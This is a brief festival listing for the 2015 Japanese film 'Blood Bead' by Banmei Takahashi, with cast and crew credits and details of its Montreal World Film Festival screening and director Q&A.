Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko). For a mature audience (18+).

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 10, 19h00 – the theatre was a little less than half full) as part of the “World Great” segment. The director was present for a Q&A after the screening.

For more information you can visit the following websites:
Blood Bead © 2015?Blood Bead?Production Committee. All Rights Reserved.

Introduction and Q&A


[ Traduire ]